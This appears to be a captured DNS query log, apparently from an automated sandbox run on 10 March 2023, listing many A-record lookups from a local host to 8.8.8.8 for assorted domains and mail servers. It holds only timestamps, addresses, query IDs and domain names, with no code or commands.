Mar 10, 2023 07:56:19.343166113 CET	192.168.2.6	8.8.8.8	0xece5	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.359119892 CET	192.168.2.6	8.8.8.8	0x63de	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.386472940 CET	192.168.2.6	8.8.8.8	0x7cc4	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.390676022 CET	192.168.2.6	8.8.8.8	0x383a	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.401094913 CET	192.168.2.6	8.8.8.8	0x815b	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.413588047 CET	192.168.2.6	8.8.8.8	0xe802	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.467258930 CET	192.168.2.6	8.8.8.8	0x85e3	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.538599014 CET	192.168.2.6	8.8.8.8	0x7bc5	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.539222956 CET	192.168.2.6	8.8.8.8	0x52b5	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.539432049 CET	192.168.2.6	8.8.8.8	0x855f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.545006990 CET	192.168.2.6	8.8.8.8	0x5da5	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.561089039 CET	192.168.2.6	8.8.8.8	0x20a4	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.562789917 CET	192.168.2.6	8.8.8.8	0xff0f	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.601144075 CET	192.168.2.6	8.8.8.8	0x6dd0	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.646728992 CET	192.168.2.6	8.8.8.8	0x16e3	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.654318094 CET	192.168.2.6	8.8.8.8	0xed63	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.671746969 CET	192.168.2.6	8.8.8.8	0x7d89	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.672394991 CET	192.168.2.6	8.8.8.8	0x3f55	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.676220894 CET	192.168.2.6	8.8.8.8	0xe9af	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.684295893 CET	192.168.2.6	8.8.8.8	0xffd4	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.698710918 CET	192.168.2.6	8.8.8.8	0xcb7f	Standard query (0)	www.sclover3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.701144934 CET	192.168.2.6	8.8.8.8	0x158f	Standard query (0)	linac.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.701442957 CET	192.168.2.6	8.8.8.8	0xd0e9	Standard query (0)	grlawcc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.703491926 CET	192.168.2.6	8.8.8.8	0x6b34	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.710921049 CET	192.168.2.6	8.8.8.8	0x721a	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.732079983 CET	192.168.2.6	8.8.8.8	0x8b8	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.740482092 CET	192.168.2.6	8.8.8.8	0x9cc9	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.745008945 CET	192.168.2.6	8.8.8.8	0xca16	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.812047005 CET	192.168.2.6	8.8.8.8	0x53ab	Standard query (0)	lpver.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.856781960 CET	192.168.2.6	8.8.8.8	0x14f6	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.878895044 CET	192.168.2.6	8.8.8.8	0xcbf1	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.884635925 CET	192.168.2.6	8.8.8.8	0xa77d	Standard query (0)	mondopp.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.898026943 CET	192.168.2.6	8.8.8.8	0xebf2	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.903959036 CET	192.168.2.6	8.8.8.8	0x9ecd	Standard query (0)	touchfam.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.917546988 CET	192.168.2.6	8.8.8.8	0x7d40	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.917885065 CET	192.168.2.6	8.8.8.8	0x54e7	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.022075891 CET	192.168.2.6	8.8.8.8	0xafb7	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.063941956 CET	192.168.2.6	8.8.8.8	0x5705	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.076503992 CET	192.168.2.6	8.8.8.8	0xb76f	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.117458105 CET	192.168.2.6	8.8.8.8	0x2858	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.117820024 CET	192.168.2.6	8.8.8.8	0xf8c8	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.119931936 CET	192.168.2.6	8.8.8.8	0xf30c	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.169425011 CET	192.168.2.6	8.8.8.8	0x4e6c	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.179856062 CET	192.168.2.6	8.8.8.8	0x7bb8	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.190639019 CET	192.168.2.6	8.8.8.8	0xa3cb	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.205528021 CET	192.168.2.6	8.8.8.8	0x42dd	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.215553045 CET	192.168.2.6	8.8.8.8	0x378e	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.245785952 CET	192.168.2.6	8.8.8.8	0x9fe2	Standard query (0)	cpwpb.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.344228029 CET	192.168.2.6	8.8.8.8	0xe6d0	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.350596905 CET	192.168.2.6	8.8.8.8	0x266	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.430468082 CET	192.168.2.6	8.8.8.8	0x47dd	Standard query (0)	xinhui.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.432852030 CET	192.168.2.6	8.8.8.8	0x7ea3	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.434170961 CET	192.168.2.6	8.8.8.8	0x5947	Standard query (0)	fundeo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.440576077 CET	192.168.2.6	8.8.8.8	0x5f26	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.454386950 CET	192.168.2.6	8.8.8.8	0x2226	Standard query (0)	hubbikes.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.493331909 CET	192.168.2.6	8.8.8.8	0xdaa	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.493977070 CET	192.168.2.6	8.8.8.8	0x6771	Standard query (0)	chzko.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.494529009 CET	192.168.2.6	8.8.8.8	0xf065	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.495112896 CET	192.168.2.6	8.8.8.8	0xa6c	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.514426947 CET	192.168.2.6	8.8.8.8	0xff7b	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.521585941 CET	192.168.2.6	8.8.8.8	0x6b92	Standard query (0)	juso-gr.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.524261951 CET	192.168.2.6	8.8.8.8	0x598b	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.538495064 CET	192.168.2.6	8.8.8.8	0x9f9f	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.540594101 CET	192.168.2.6	8.8.8.8	0xf93d	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.565516949 CET	192.168.2.6	8.8.8.8	0xeee6	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.588881016 CET	192.168.2.6	8.8.8.8	0x56df	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.591308117 CET	192.168.2.6	8.8.8.8	0xac21	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.591655016 CET	192.168.2.6	8.8.8.8	0x2358	Standard query (0)	bd-style.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.602962017 CET	192.168.2.6	8.8.8.8	0x145	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.629915953 CET	192.168.2.6	8.8.8.8	0xb742	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.634330988 CET	192.168.2.6	8.8.8.8	0x91	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.669966936 CET	192.168.2.6	8.8.8.8	0x8c95	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.673604965 CET	192.168.2.6	8.8.8.8	0xdbc0	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.709522963 CET	192.168.2.6	8.8.8.8	0xffd4	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.715239048 CET	192.168.2.6	8.8.8.8	0x6a8	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.745002985 CET	192.168.2.6	8.8.8.8	0xb74b	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.789437056 CET	192.168.2.6	8.8.8.8	0x6c37	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.793201923 CET	192.168.2.6	8.8.8.8	0x58a8	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.814353943 CET	192.168.2.6	8.8.8.8	0xd92c	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.816453934 CET	192.168.2.6	8.8.8.8	0xf074	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.826139927 CET	192.168.2.6	8.8.8.8	0x1c33	Standard query (0)	mail.protonmail.ch	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.843980074 CET	192.168.2.6	8.8.8.8	0x8ace	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.898134947 CET	192.168.2.6	8.8.8.8	0x3fcd	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.920108080 CET	192.168.2.6	8.8.8.8	0x9454	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.924371004 CET	192.168.2.6	8.8.8.8	0xc1a4	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.947452068 CET	192.168.2.6	8.8.8.8	0xfa0f	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.966440916 CET	192.168.2.6	8.8.8.8	0xad83	Standard query (0)	orbitgas.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:20.996160030 CET	192.168.2.6	8.8.8.8	0x30e	Standard query (0)	ludomemo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.014791965 CET	192.168.2.6	8.8.8.8	0x9493	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.040266991 CET	192.168.2.6	8.8.8.8	0xd649	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.055465937 CET	192.168.2.6	8.8.8.8	0xcf14	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.077178955 CET	192.168.2.6	8.8.8.8	0xafb7	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.150161028 CET	192.168.2.6	8.8.8.8	0x934f	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.337399006 CET	192.168.2.6	8.8.8.8	0xa7dc	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.351155996 CET	192.168.2.6	8.8.8.8	0xeeb3	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.397772074 CET	192.168.2.6	8.8.8.8	0x68e2	Standard query (0)	ascc.org.au	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.413501978 CET	192.168.2.6	8.8.8.8	0x8d20	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.421819925 CET	192.168.2.6	8.8.8.8	0xa13e	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.439903021 CET	192.168.2.6	8.8.8.8	0x8e34	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.471957922 CET	192.168.2.6	8.8.8.8	0x7394	Standard query (0)	dwid.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.494781017 CET	192.168.2.6	8.8.8.8	0x1ed4	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.521939039 CET	192.168.2.6	8.8.8.8	0x155e	Standard query (0)	fdlymca.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.537789106 CET	192.168.2.6	8.8.8.8	0x8ea4	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.541040897 CET	192.168.2.6	8.8.8.8	0x27c8	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.549365997 CET	192.168.2.6	8.8.8.8	0xf9c3	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.554367065 CET	192.168.2.6	8.8.8.8	0x35e5	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.603125095 CET	192.168.2.6	8.8.8.8	0xb528	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.609002113 CET	192.168.2.6	8.8.8.8	0x855f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.650875092 CET	192.168.2.6	8.8.8.8	0x3f31	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.660593987 CET	192.168.2.6	8.8.8.8	0xbc54	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.665004969 CET	192.168.2.6	8.8.8.8	0xd205	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.753150940 CET	192.168.2.6	8.8.8.8	0x4a66	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.779256105 CET	192.168.2.6	8.8.8.8	0x66eb	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:21.976447105 CET	192.168.2.6	8.8.8.8	0xeb30	Standard query (0)	rkengg.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.002247095 CET	192.168.2.6	8.8.8.8	0x4ca9	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.009929895 CET	192.168.2.6	8.8.8.8	0x8621	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.070616961 CET	192.168.2.6	8.8.8.8	0xa2bf	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.549983978 CET	192.168.2.6	8.8.8.8	0xea2b	Standard query (0)	bosado.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.593482018 CET	192.168.2.6	8.8.8.8	0xd16c	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.650798082 CET	192.168.2.6	8.8.8.8	0xa46a	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.664102077 CET	192.168.2.6	8.8.8.8	0xd795	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.675314903 CET	192.168.2.6	8.8.8.8	0xe1df	Standard query (0)	www.reglera.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.759732008 CET	192.168.2.6	8.8.8.8	0x999b	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.768661022 CET	192.168.2.6	8.8.8.8	0xc655	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.798454046 CET	192.168.2.6	8.8.8.8	0x316e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.932604074 CET	192.168.2.6	8.8.8.8	0xde2b	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:22.939603090 CET	192.168.2.6	8.8.8.8	0x69c5	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.013019085 CET	192.168.2.6	8.8.8.8	0x8974	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.015788078 CET	192.168.2.6	198.32.64.12	0x77	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:23.073283911 CET	192.168.2.6	8.8.8.8	0x2af	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:23.142957926 CET	192.168.2.6	8.8.8.8	0x687f	Standard query (0)	cpmteam.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.161283970 CET	192.168.2.6	8.8.8.8	0x6e28	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.161284924 CET	192.168.2.6	8.8.8.8	0x3478	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.162456036 CET	192.168.2.6	8.8.8.8	0x2e7a	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.165134907 CET	192.168.2.6	8.8.8.8	0xcacf	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.171681881 CET	192.168.2.6	8.8.8.8	0x3b45	Standard query (0)	htsmx.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.172808886 CET	192.168.2.6	8.8.8.8	0xafb7	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.194096088 CET	192.168.2.6	8.8.8.8	0xe72d	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.227675915 CET	192.168.2.6	8.8.8.8	0x4580	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.234087944 CET	192.168.2.6	8.8.8.8	0x316e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.239623070 CET	192.168.2.6	8.8.8.8	0x541d	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.253484011 CET	192.168.2.6	8.8.8.8	0x2150	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.257224083 CET	192.168.2.6	8.8.8.8	0xd25b	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.290133953 CET	192.168.2.6	8.8.8.8	0x96cd	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.293188095 CET	192.168.2.6	8.8.8.8	0x2bc0	Standard query (0)	leapc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.294167042 CET	192.168.2.6	8.8.8.8	0x58b8	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.402004957 CET	192.168.2.6	8.8.8.8	0xfa4e	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.465270996 CET	192.168.2.6	8.8.8.8	0xe463	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.537903070 CET	192.168.2.6	8.8.8.8	0x17fc	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.540251017 CET	192.168.2.6	8.8.8.8	0x83d7	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.548491001 CET	192.168.2.6	8.8.8.8	0x10cb	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.550889969 CET	192.168.2.6	8.8.8.8	0x405e	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.551202059 CET	192.168.2.6	8.8.8.8	0xf31c	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.555099010 CET	192.168.2.6	8.8.8.8	0xb93d	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.559554100 CET	192.168.2.6	8.8.8.8	0x780a	Standard query (0)	btsi.com.ph	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.567490101 CET	192.168.2.6	8.8.8.8	0xdfa1	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.571888924 CET	192.168.2.6	8.8.8.8	0xd1d1	Standard query (0)	tbvlugus.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.580240011 CET	192.168.2.6	8.8.8.8	0x1ee7	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.585480928 CET	192.168.2.6	8.8.8.8	0x1ea6	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.593359947 CET	192.168.2.6	8.8.8.8	0x6122	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.597408056 CET	192.168.2.6	8.8.8.8	0x1c67	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.607891083 CET	192.168.2.6	8.8.8.8	0xeef8	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.629261017 CET	192.168.2.6	8.8.8.8	0x4242	Standard query (0)	89gospel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.651350021 CET	192.168.2.6	8.8.8.8	0x7e9c	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.679830074 CET	192.168.2.6	8.8.8.8	0x699d	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.914788961 CET	192.168.2.6	8.8.8.8	0xf96	Standard query (0)	shenhgts.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:24.946260929 CET	192.168.2.6	8.8.8.8	0xe6db	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.038105965 CET	192.168.2.6	8.8.8.8	0x74ae	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.102340937 CET	192.168.2.6	8.8.8.8	0x8b5f	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.149183035 CET	192.168.2.6	8.8.8.8	0x2ae	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.156250954 CET	192.168.2.6	8.8.8.8	0xcf27	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.229376078 CET	192.168.2.6	8.8.8.8	0x541d	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.249927044 CET	192.168.2.6	8.8.8.8	0x316e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.278209925 CET	192.168.2.6	8.8.8.8	0xc30e	Standard query (0)	e-kami.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.325695038 CET	192.168.2.6	8.8.8.8	0x199c	Standard query (0)	unicus.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.328850985 CET	192.168.2.6	8.8.8.8	0x7ee2	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.357629061 CET	192.168.2.6	8.8.8.8	0x8b41	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.380311012 CET	192.168.2.6	8.8.8.8	0xf2c0	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.439191103 CET	192.168.2.6	8.8.8.8	0x208c	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.605148077 CET	192.168.2.6	8.8.8.8	0x23ed	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.607240915 CET	192.168.2.6	8.8.8.8	0x792a	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.655833006 CET	192.168.2.6	8.8.8.8	0xdecb	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.736825943 CET	192.168.2.6	8.8.8.8	0x4057	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.775198936 CET	192.168.2.6	8.8.8.8	0x5dc1	Standard query (0)	oozkranj.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.794595003 CET	192.168.2.6	8.8.8.8	0xed99	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.804800987 CET	192.168.2.6	8.8.8.8	0xfe7	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.830126047 CET	192.168.2.6	8.8.8.8	0xc4ee	Standard query (0)	amerifor.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.830291033 CET	192.168.2.6	8.8.8.8	0xb948	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.858581066 CET	192.168.2.6	8.8.8.8	0x341e	Standard query (0)	willsub.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.876923084 CET	192.168.2.6	8.8.8.8	0x37a0	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.907916069 CET	192.168.2.6	8.8.8.8	0x461	Standard query (0)	scip.org.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:25.908242941 CET	192.168.2.6	8.8.8.8	0xe52f	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
